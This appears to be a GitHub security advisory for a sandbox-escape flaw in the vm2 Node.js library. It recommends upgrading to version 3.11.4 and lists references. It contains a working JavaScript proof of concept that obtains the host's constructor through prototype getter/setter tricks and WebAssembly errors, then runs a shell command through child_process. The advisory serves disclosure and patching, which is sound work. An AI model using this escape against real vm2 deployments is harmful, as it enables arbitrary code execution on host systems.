GHSA-v6mx-mf47-r5wg
vm2 has a Sandbox Escape issue
Quick fix
GHSA-v6mx-mf47-r5wg — vm2: upgrade to the fixed version with the command below.
npm install vm2@3.11.4Details
### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.
### PoC ```js "use strict";
const { VM } = require("vm2"); const vm = new VM();
vm.run(` "use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); }
try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } }
f(); `); ```
### Impact Sandbox Escape → RCE
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References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-47131[ADVISORY]
- https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8[WEB]
- https://github.com/patriksimek/vm2[PACKAGE]
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4[WEB]